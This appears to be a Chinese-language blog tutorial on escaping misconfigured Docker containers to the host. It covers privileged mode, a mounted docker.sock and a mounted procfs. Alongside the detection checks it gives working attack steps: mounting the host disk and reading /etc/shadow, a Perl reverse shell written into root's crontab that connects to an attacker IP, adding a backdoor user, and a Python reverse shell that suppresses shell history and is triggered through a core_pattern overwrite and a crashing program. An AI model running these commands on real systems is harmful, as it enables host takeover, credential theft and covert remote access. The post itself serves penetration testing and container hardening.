Why to study?
在实战操作遇到目标可能是由docker搭的镜像的时候,我们怎么操作都是在他创建好的容器内捣腾,想要渗透到它的真机,那就需要从他的环境中逃逸出来。本次将介绍到三种因为配置不当造成的docker逃逸
检测是否在docker环境下
判断
cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"
特权模式
检测
在docker命令中,docker组内的用户因为添加了“--privileged=true”命令,导致开启了特权模式,这是可乘之机
例如:
- docker run --rm --privileged=true -it 容器名
我们可以使用以下命令检测到他,如果是以特权模式启动的话,CapEff 对应的掩码值应该为0000003fffffffff 或者是 0000001fffffffff
cat /proc/self/status | grep CapEff
流程
将真机磁盘挂载到docker内部,然后可以选择使用反弹shell到攻击机,反弹过来的权限是root,或者再创建一个用户,用他的信息可以登录到真机
查看磁盘
- fdisk -l
挂载磁盘,在test目录下就可以看到真机的文件
- mkdir /test && mount /dev/sda1 /test
访问/etc/shadow可以看到密码
- cat /test/etc/shadow
使用定时任务反弹shell到攻击机
echo $'*/1 * * * * perl -e \'use Socket;$i="172.16.214.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'' >> /test/var/spool/cron/crontabs/root
或者创建一个用户供自己登陆
mount /dev/sda1 /mnt
chroot /mnt adduser john
挂载docker socket
检测
在docker命令中,docker组内的用户因为挂载了“/var/run/docker.sock
”,让其存在漏洞
docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock
容器名
我们可以使用以下命令检测到他,敲入后会看到会有这个文件,否则无
- ls -lah /var/run/docker.sock
流程
在容器中再安装一个docker,然后把容器文件挂载在容器的容器中
安装docker有很多路径可以选择,这里不赘述,使用以下命令可以挂载
- docker run -it -v /:/host 容器名 /bin/bash
在新的容器内执行 chroot,将根目录切换到挂载到宿主机的根目录
- chroot /host
挂载pocfs
检测
在docker命令中,docker组内的用户因为挂载了“/proc
”,让其存在漏洞
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
如果找到两个 core_pattern 文件,那可能就是挂载了宿主机的 procfs
find / -name core_pattern
流程
通过反弹shell到攻击机
找到当前容器在宿主机下的绝对路径
- cat /proc/mounts | xargs -d ',' -n 1 | grep workdir
安装 vim 和 gcc,创建一个反弹 Shell 的 py 脚本,给 Shell 赋予执行权限
#!/usr/bin/python3
import os
import pty
import socket
lhost = "172.16.214.1"
lport = 4444
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
# os.remove('/tmp/.t.py')
s.close()
if __name__ == "__main__":
main()
写入反弹 shell 到目标的 proc 目录下,加粗部分为绝对路径
echo -e "|/var/lib/docker/overlay2/5717cb9154218ec49579ae338cd1c236694d6a377d61fd6d17e11e49d1b1baad/merged/tmp/.t.py \rcore " > /host/proc/sys/kernel/core_pattern
在攻击主机上开启一个监听,然后在容器里运行一个可以崩溃的程序
vim t.c
#include<stdio.h>
int main(void) {
int *a = NULL;
*a = 1;
return 0;
}
gcc t.c -o t
./t
Comments NOTHING